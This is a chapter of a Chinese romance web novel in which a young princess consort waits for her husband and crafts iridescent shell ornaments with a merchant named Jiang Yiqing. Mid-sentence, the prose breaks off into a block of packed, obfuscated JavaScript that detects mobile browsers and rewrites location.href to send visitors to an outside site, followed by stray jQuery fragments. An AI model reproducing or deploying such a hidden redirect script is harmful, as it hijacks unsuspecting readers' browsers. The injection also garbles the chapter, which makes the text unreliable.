40. 第 40 章

作品:《跪养作精小祖宗

    “小四还有几天才能回来?”


    “若是按月底算,还有六日。”


    柳娆撑着脑袋,仰头看着天,长长叹息。


    纤云小声试探:“娘娘,要不回去和三少爷玩?”


    “你没听祖母说嘛?三哥就要考试了,叫我不准打搅他,他明年要是考不上,就得再等几年,到那时都老了,肯定娶不到媳妇儿了。”


    “那娘娘去花房里修剪花枝?”


    “我都修了好几日了,再修花都要秃了。”


    纤云也没办法了,和春雪对视一眼,默默陪守着。


    没多久,柳娆又开始唉声叹气:“他到底什么时候才回来呀。”


    她已经这样念叨着几十回了,侍女们的耳朵都要磨出茧子,却还是不厌其烦地又答:“若是按月底算,还有六日呢。”


    天转凉,丝丝落着小雨,她不坐在院子里,回到房间里,继续唉声叹气,侍女们听得都有些麻木。


    雨声中,忽然一阵声音传来,她立即起身,绣鞋踩着木地板,哒哒哒跑出:“是不是小四回来了?”


    路过的侍女撑伞进门几步,躬身行礼:“回娘娘,是江公子来了。”


    欢快的裙摆停下,她愣愣问:“江公子?”


    “是王爷吩咐江公子来的,说是要修建浴池的。”


    “噢噢噢。”她恍然大悟,连忙道,“我想起来了,小四跟我说过的,快让他进来吧。”


    雨天,男子撑着伞来,她定睛一看,笑道:“原来是你呀,我们在雍城见过的,你还记得我吗?”


    江亦清跪地行礼:“草民拜见王妃,王妃风姿绰约,让人见之不忘。”


    “你真会夸人,快起来吧,下这么大的雨,地都是湿的,你再跪着,衣裳可就要湿了。”


    “多谢王妃。”江亦清含笑站起。


    “你是来修浴池的?快进来吧,我正好没事做,我们现在就来说说建浴池的事吧。”柳娆引着他往里走,“你先前在卧房挂的贝壳蝴蝶很好看,我想将浴池池底也铺一层那种亮亮的彩贝,可以吗?”


    江亦清和颜悦色:“当然可以,宁王已在信中告知过草民,彩贝早已准备妥当,随时可以动工。”


    柳娆展颜一笑:“那好啊,那等小四回来就直接可以用了。”


    江亦清轻咳两声。


    “你着凉了吗?”柳娆朝他看去,“你是不是着凉了呀?我让人给你煮些姜汤吧?”


    他连连摆手:“不必不必,多谢王妃关怀,还是继续商议修建浴池的事吧。”


    “噢,你没事就好。”柳娆继续往浴房走,比比划划,“就是这里,你看建差不多这么大,这个朝着内院的门外可以种些花草,可以坐在浴池里赏花。”


    “可以,王妃尽管吩咐,草民都会记下。”


    “这里挂纱帘,还有珍珠帘子……”


    江亦清已经明白她的要求了,来来回回还是那些,离不开的珍珠帘子和漂亮花卉。他微微颔首:“好,草民记下了,现下便去工房让人打磨彩贝。”


    柳娆眼睛一亮:“我和你一起去吧,我还不知道彩贝是如何打磨的呢。”


    “王妃请。”江亦清恭敬垂眸。


    “诶,你是专门学这个的匠人吗?”柳娆边往外走边跟他闲话。


    他不紧不慢跟上,微微垂眸:“只是对这些有些兴趣,不算什么匠人。”


    “我卧房里的蝴蝶都是你做的吗?真的很漂亮。”


    “王妃谬赞了,算是草民的点子,但不全是草民亲手做的,大多是由匠人们打磨做成。”


    “噢噢噢,你们真厉害啊。那你是做什么的呢?怎么会这些呢?又是怎么跟小四……我夫君认识的呢。”


    “草民算是商人,雍城的别院便是草民经营的,此外也会做些珠宝生意,故而懂得些珠宝工艺。家父在京中为官,草民从前是王爷的伴读之一,算是自小与王爷相识。”


    柳娆连连点头,一条一条消化完,又点头肯定:“你说话真有条理,比我夫君有条理。”


    江亦清垂眸浅笑:“王妃谬赞。”


    柳娆又问:“那你们算是好朋友吗?”


    “算是吧。”


    “那你觉得他是好人还是坏人?”


    “一个人的好与坏,不是一个字一句话就能评判得清楚的,草民不敢断言。”


    柳娆顿了顿,停在雨水淋湿的小径上,认真看着他:“你这样说,是因为害怕他吗?”


    他微微扬唇:“若是草民惧怕王爷,应该直接回答王妃,王爷是个绝无仅有的好人,而不是说一些让人觉得似是而非的话。”


    “也有道理。”柳娆踮着脚尖,步伐轻快许多,“我们去看彩贝吧!”


    工房在王府外院,此刻,雨幕连接的房檐中,工匠们正坐在桌前,拿着硕大的贝壳一颗颗清洗。


    柳娆的目光瞬间被吸引去,盯着脏兮兮的贝壳一闪不闪,直到那颗贝壳在工匠的刷子下露出点点光芒,她忍不住惊叹:“天啊,原来它这么漂亮的吗?”


    江亦清拿起清洗好的贝壳,不禁弯唇:“它们只是藏在泥下,隐藏了它们原本的色彩,清晰干净便能看见它们原本的美貌。每一颗贝壳都会有不同的色彩,这些色彩拼接在一起,才有了王妃所喜欢的流光溢彩。”


    柳娆重重点头:“是好美,但是它这么坚硬,要怎么才能做出想要的形状呢?”


    “在贝壳上画出形状,用工具割出来,也可以打磨后再进行拼接。王妃若是有兴致,草民可以给王妃演示。”


    “好啊好啊,我想看!”


    “王妃这边请。”江亦清抬手相邀,抬步跨进单独的房间,递给她一个面罩,“打磨贝壳会有碎屑,王妃将这个戴好,以免被碎屑呛到。”


    她立即围上厚厚的面罩,眨眨眼,期待地看着。


    江亦清余光从她脸上掠过,掩住眼中的笑意,同样戴上面罩,拿着刻刀在贝壳上雕出蝴蝶的形状,用丝线一样的工具,沿着蝴蝶边缘慢慢切割。


    碎屑飞舞,柳娆瞪大的双眼止不住眯起,目光还锲而不舍盯着,看着那只蝴蝶被完整地切割下来。


    江亦清拿着刷子扫去粉尘,将那只泛着青绿色光芒的彩贝蝴蝶递出。


    她接过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176512|194925||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,仔细观察片刻,欢呼道:“好漂亮啊。”


    江亦清解开面罩:“这还要再打磨的,打磨后用银丝将它的边缘包裹起来,会更好看。”


    “我想自己做一个,可以吗?”


    “可以,王妃请坐。王妃想做什么样的图案?可以先用笔画出来。”


    柳娆拿着笔头戳戳下巴,垂眸落笔:“做个小兔子吧,快到中秋了。”


    她绘画还算不错,那只兔子画得挺好的,可上手去切割彩贝就不是那么回事了,歪歪扭扭,一个不慎还将兔子的耳朵削去了一块。


    她叹了口气:“真难啊。”


    “第一回上手都是难的,王妃做的已经很好了。”江亦清道,“王妃是有兴致,不如让人打磨好彩贝碎片,王妃用碎片拼接图案?这样做出来的也很好看,且简单许多。”


    “行啊,不过我先将这个兔子割出来,可以送给小四。”她蹙蹙眉头,认真将剩下半边切割下来,小心翼翼扫去粉尘,对着昏暗的光感慨,“真漂亮,如果是在日光下,应该会更漂亮。”


    “草民帮王妃打磨吧。”


    “好,你再帮我用金丝线将它包裹成一个吊坠吧,我想将它坠在桂花香囊下,送给我夫君。”


    江亦清笑了笑:“王妃真是有心。”


    “嘿嘿。”柳娆憨笑两声,弯着腰,仔细盯着那只贝壳兔子,看着它被打磨得更加透亮,满意点头,“那你们忙吧,我先回去了。”


    江亦清茫然看着她的背影,半晌没适应她想一出是一出的风格。她却早拿着小兔子蹦蹦跳跳走远,在积水的路上踩出一朵朵水花。


    雨还未停,她有事做了,也不唉声叹气了,拿着绳线串珠子、做流苏、缝荷包,将它们组合起来,找来干桂花塞进荷包,拎着转一圈。


    “好看吗?”


    “好看,娘娘真是心灵手巧。”纤云笑着道。


    “嗯!我也觉得很漂亮,就送给小四吧。”她将香囊往床头一挂,双手枕在脑后,感慨道,“真是高兴的一天啊,我们明天继续去玩彩贝吧!”


    雨过天晴,她提着裙子在路上单脚跳,越过未干的水洼,落在干燥的石块上,蹦跳着,迎头遇见江亦清。


    “诶!”她停止游戏,小跑过去,“你叫什么名字啊?我还不知道怎么称呼你呢。”


    江亦清垂眸:“草民姓江。”


    “噢,小江,你也是往工房去吗?”


    江亦清微顿:“是,昨日打磨了不少彩贝,草民过去看看进度,便可以让匠人们修建浴池了,王妃可以吩咐人先将浴房腾空。”


    “啊?我还想玩彩贝呢,能不能明天再修浴池啊?”


    “嗯……也行。”


    “行!那快走吧!”她兴高采烈,提着裙子又往前小跑,一头扎进彩贝的世界,无法自拔,小声自语,“送给爹娘,送给三哥,送给……”


    拼接彩贝不难,跟玩贴画似的,还有江亦清给她善后,她看着自己的大作,成就感满满,也不关心浴池,也不念叨封肆了。


    月底的最后一日,入睡前,她算了算日子,突然想起封肆还没回来。